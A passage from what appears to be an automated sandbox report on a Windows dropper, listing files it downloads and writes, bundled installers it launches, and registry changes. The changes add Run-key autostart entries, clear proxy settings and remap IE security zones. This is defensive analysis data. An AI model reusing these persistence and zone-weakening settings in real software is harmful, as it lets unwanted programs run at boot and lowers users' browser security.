%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\popup[1].htm (627 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\popup7o[2].js (8 bytes)
%Program Files%\fjwyusp\axult.exe (53796 bytes)
%Program Files%\fjwyusp\-1303_1_td.exe (30482 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\axult[1].exe (56481 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\core[1].php (752 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\a-zm-157391-v5[1].exe (304039 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Program Files%\fjwyusp\IFoxInstall-y-c203945859-run-s-x.exe (181646 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\IFoxInstall-y-c203945859-run-s-x[1].exe (184025 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\pwc[1].htm (1048 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\popup7o[1].js (3 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (205 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\stat[1].gif (43 bytes)
%Program Files%\fjwyusp\xkcc_50091167828.exe (561484 bytes)
%Program Files%\fjwyusp\axuls.exe (51909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\s[1].js (3380 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\-1303_1_td[1].exe (33209 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@baidu[1].txt (198 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\pis=-1x-1&cfv=11&ccd=32&chi=0&cja=true&cpl=0&cmi=0&cce=true&col=en-us&cec=gb2312&cdo=-1&tsr=172&tlm=1352217204&tcn=1410999396&tpr=1410999395508&dpt=none&coa=&baidu_ (319 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\stat[1].php (5114 bytes)
%Program Files%\fjwyusp\setup_2948-140896.exe (1064854 bytes)
%Documents and Settings%\%current user%\Cookies\[email protected][1].txt (251 bytes)
%Program Files%\fjwyusp\pwc.dll (1 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (2340 bytes)
%Program Files%\fjwyusp\a-zm-157391-v5.exe (289171 bytes)

The Dropped deletes the following file(s):

%Program Files%\fjwyusp\pwc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\popup7o[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\s[1].js (0 bytes)

The process axuls.exe:1160 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Program Files%\fjwyusp\hzsoft\htop_x.exe (293112 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\htop_x[1].exe (317913 bytes)
%Program Files%\fjwyusp\hzsoft\sjss_jing_zhimeng_217.exe (151302 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U2EALEEE\apples_5_1008[1].exe (342852 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\P4NAZ85F\sjss_jing_zhimeng_217[1].exe (155529 bytes)
%Program Files%\fjwyusp\hzsoft\tqrl_89_177560.exe (793877 bytes)
%Program Files%\fjwyusp\hzsoft\apples_5_1008.exe (319897 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6LMBG52V\tqrl_89_177560[1].exe (838270 bytes)

The process ignite.exe:2576 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\tqrili\setting.ini (26 bytes)

The process ignite.exe:2880 makes changes in the file system.
The Dropped deletes the following file(s):

%System%\config\systemprofile\Local Settings\Temp\~DF8AF9.tmp (0 bytes)

The process ignite.exe:2764 makes changes in the file system.
The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~DF6CF0.tmp (0 bytes)

The process Application Dataypfbyfgmr.exe:2796 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-G9VJJ.tmp\Application Dataypfbyfgmr.tmp (6356 bytes)

The process iApple.exe:1748 makes changes in the file system.
The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Application Data\AppleDesktop\iApple.exe (0 bytes)

The process apples_5_1008.exe:816 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\AppleDesktop\2.0.1.1001\Skin\AppleDesktopSkin.skn (8184 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\uninst.exe (1299 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\KillProcDLL.dll (4 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\mini.exe (13368 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\2.0.1.1001\Data\AppleDCR.xml (1 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\2.0.1.1001\Skin\AppleDefaultSkin.skn (22 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\AppleDTShellExt64.dll (11048 bytes)
%Documents and Settings%\%current user%\Desktop\Æ»¹û×ÀÃæ.lnk (976 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\AppleHelper.exe (21216 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\2.0.1.1001\Data\AppleROCfg.ini (23 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹û×ÀÃæ\Æ»¹û×ÀÃæ.lnk (992 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\AppleDTShellExt.dll (8560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\FindProcDLL.dll (3 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\skin\focuslogo.png (5 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\2.0.1.1001\AppleDesktop.exe (59286 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\2.0.1.1001\Data\AppleROData.dat (6 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\skin\bg_header1.png (784 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹û×ÀÃæ\жÔØ Æ»¹û×ÀÃæ.lnk (785 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\skin\btn_min_2.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\skin\btn_min_1.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\dshow.exe (1856 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\2.0.1.1001\AppleDTAssistant.exe (16288 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\skin\btn_close_1.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\skin\btn_close_2.png (2 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\Helper\skin\btn_close_3.png (2 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\iApple.exe (8184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw2.tmp (106535 bytes)
%Documents and Settings%\%current user%\Application Data\AppleDesktop\2.0.1.1001\Data\AppleSC.json (8 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\KillProcDLL.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\FindProcDLL.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp\System.dll (0 bytes)

The process tqrl_89_177560.exe:1644 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÖÐÇï½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\034Óê ÖÐÓê.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ĸÇ×½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\toolbar_hover (3).png (531 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\manual.exe (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ARUFA1MT\tjapis[1].htm (91 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\¶ùͯ½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\Inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\032Óê-СÓê.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\huangli.xml (12024 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\´º½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsv5.tmp (138023 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\026Ñ©-´óÑ©.png (1856 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\039Óê ±©Óêת´ó±©Óê.png (1856 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\½Ìʦ½Ú.png (545 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÆßϦ½Ú.png (930 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\01-Ò¹¼ä¶àÔÆ.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\023Ñ©-СѩתÖÐÑ©.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\052³¾ ɳ³¾±©.png (784 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\031Óê-Ò¹¼äÕóÓê .png (1856 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\input.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\Base64.dll (4 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\Ïû·ÑÕß.png (706 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÀͶ¯½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\setting.ini (208 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\027Ñ©-´óѩת±©Ñ©.png (2392 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\¹úÇì½Ú.png (508 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\Refresh_hover.png (680 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\³ýϦ.png (1 bytes)
%Documents and Settings%\%current user%\Templates\1820149\YYM_955WD30.gif (930 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\00-Ò¹¼äÇç.png (784 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\tip.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\024Ñ©-ÖÐÑ©.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\053³¾ ³¬É³³¾±©.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\047ÒõÌì.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\tclock.ini (94 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\050³¾ ¸¡³¾-ÐÂ.png (784 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\022Ñ©-Сѩ.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\021Ñ©-Ò¹¼äÕóÑ© .png (1856 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\tray_yes.png (2 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\723¼ÍÄî.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\yi.png (998 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\046Óê Óê¼ÐÑ©.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\¶ËÎç½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Desktop\ÌìÆôÈÕÀú.lnk (909 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\Ê¥µ®½Ú.png (873 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\Replace64.dll (3616 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\¸ß¿¼.png (555 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\Replace.dll (3312 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\028Ñ©-±©Ñ©.png (2392 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\ÌìÆôÈÕÀú\ÌìÆôÈÕÀú.lnk (921 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\set.ini (2 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\043Óê ¶³Óê.png (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\Math.dll (2392 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uninst.exe (11048 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\time.dll (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\button_state5.png (3 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\044Óê À×ÕóÓê.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\035Óê ÖÐÓêת´óÓê.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\NewIcons007.png (2 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\button_3b.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\041Óê ´ó±©Óêת³¬´ó±©Óê.png (1856 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÓÞÈ˽Ú.png (991 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÓÛÀ¼½Ú.png (913 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\Weather_none.png (11 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\021Ñ©-°×ÌìÕóÑ©.png (1856 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\036Óê ´óÓê.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÇåÃ÷½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\city.txt (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\¸¾Å®½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\¸¸Ç×½Ú.png (846 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\button_3a.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\mmt.ico (881 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\kindness.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\025Ñ©-ÖÐѩת´óÑ©.png (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\md5dll.dll (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp (4 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\045Óê À×ÕóÓê¼ÓÑ©.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\¹â¹÷½Ú.png (536 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\Refresh_normal.png (713 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ji.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÈÕÀú1.png (7192 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\tj.html (91 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uTray.exe (5064 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\db2.mdb (12536 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÐÂÔö±¸Íü.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\01-°×Ìì¶àÔÆ.png (1552 bytes)
%Documents and Settings%\%current user%\Desktop\.lnk (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\054Îí.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\tray_no.png (450 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\033Óê СÓêתÖÐÓê.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\050³¾ ¸¡³¾.png (784 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÇéÈ˽Ú.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\051³¾ Ñïɳ.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ddd.png (3 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\031Óê-°×ÌìÕóÓê.png (1856 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\037Óê ´óÓêת±©Óê.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\042Óê ³¬´ó±©Óê.png (1856 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\00-°×ÌìÇç.png (1552 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\Refresh_pushed.png (663 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\weathers.exe (38103 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÔªÏü½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\¸Ð¶÷½Ú.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\setting.ini (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\038Óê ±©Óê.png (1856 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ƽ°²Ò¹.png (1 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\db2.ldb (64 bytes)
%Documents and Settings%\%current user%\Application Data\tqrili\uCalendar\ÌìÆø\040Óê ´ó±©Óê.png (1856 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\ÌìÆôÈÕÀú\ÅäÖÃ\Uninstall.lnk (922 bytes)

The Dropped deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp (0 bytes)
%Program Files%\fjwyusp\success (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\Inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\NSISdl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\Math.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\tj.html (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\Base64.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa6.tmp\md5dll.dll (0 bytes)

The process xkcc_50091167828.exe:2196 makes changes in the file system.
The Dropped creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Dataypfbyfgmr.exe (12288 bytes)

Registry activity

The process fm4.exe:260 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{06F57725-D702-43A9-A8D4-40BB36C9B07F}]
"Publisher" = "ÒôÀÖFM"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 23 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{06F57725-D702-43A9-A8D4-40BB36C9B07F}]
"DisplayIcon" = "%Program Files%\FM4.0\201409180317\Unins.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{06F57725-D702-43A9-A8D4-40BB36C9B07F}]
"DisplayName" = "ÒôÀÖFM"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{06F57725-D702-43A9-A8D4-40BB36C9B07F}]
"DisplayVersion" = "1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{06F57725-D702-43A9-A8D4-40BB36C9B07F}]
"UninstallString" = "%Program Files%\FM4.0\201409180317\Unins.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1D AC 69 C6 A5 50 00 1E 2F BD 41 88 68 1B 80 80"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\FM4.0]
"RD" = "_201409180317"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Dropped adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"FM4.0_201409180317" = "%Program Files%\FM4.0\201409180317\fm4.exe -mini"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Dropped adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"FM4.0_News_201409180317" = "%Program Files%\FM4.0\201409180317\fm4svr.exe -mini"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

"ProxyServer"

"AutoConfigURL"

The Dropped disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"BoxNews"

"FM4.0_News"

"FM4.0"

"YyfmPlay"

The process Almanac_clnh_2014.8.3._126cl.exe:2900 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\AlmDay]
"InstallPath" = "%Documents and Settings%\%current user%\Application Data\AlmDay"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AlmDay]
"DisplayName" = "½ñÈÕ»ÆÀú 2.0.3 Õýʽ°æ"
"DisplayVersion" = "1.0.6.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 29 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
